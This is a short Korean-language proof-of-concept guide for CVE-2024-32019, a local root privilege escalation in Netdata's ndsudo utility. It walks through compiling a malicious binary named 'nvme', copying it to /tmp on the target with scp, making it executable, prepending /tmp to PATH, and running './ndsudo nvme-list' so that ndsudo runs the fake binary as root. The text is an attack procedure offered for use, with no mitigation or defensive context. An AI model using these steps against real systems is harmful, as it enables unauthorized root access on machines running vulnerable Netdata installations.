
netdata ndsudo 취약점에 대한 POC - CVE-2024-32019
ndsudo를 통한 권한 상승 (Netdata 로컬 익스플로잇)이 POC는 Netdata에 포함된 취약한 ndsudo 유틸리티를 악용하여 로컬 권한을 root로 상승시키는 데 사용됩니다. 이 익스플로잇은 사용자의 PATH에 신뢰되는 명령어(nvme)를 사칭하는 악성 바이너리를 주입하여 ndsudo가 root 권한으로 실행하도록 합니다.
대상 시스템에 로컬 셸 접근이 가능해야 합니다.
다음 명령어를 실행할 수 있지만 "not found" 또는 유사한 오류가 발생합니다:
./ndsudo nvme-list
공격자 시스템(또는 컴파일러가 있는 취약 시스템)에서 바이너리를 컴파일합니다 (예: 저장소의 poc.c 파일로부터):
gcc poc.c -o nvme
이 바이너리는 root 셸을 생성하거나 root 권한으로 임의의 명령어를 실행하도록 제작되어야 합니다.
컴파일된 nvme 바이너리를 사용자가 쓰기 가능한 디렉토리(예: /tmp)로 이동하거나 업로드합니다:
scp nvme user@target:/tmp/
# 또는 사용 가능한 파일 업로드 방법 사용
대상 시스템에서 바이너리가 실행 가능하도록 설정하고, 그 디렉토리를 PATH 앞에 추가합니다:
chmod +x /tmp/nvme
export PATH=/tmp:$PATH
이렇게 하면 ndsudo가 정상적인 nvme 대신 악성 nvme를 찾아 실행합니다.
ndsudo가 페이로드를 실행하도록 트리거취약한 명령어를 실행하여 ndsudo를 트리거합니다:
./ndsudo nvme-list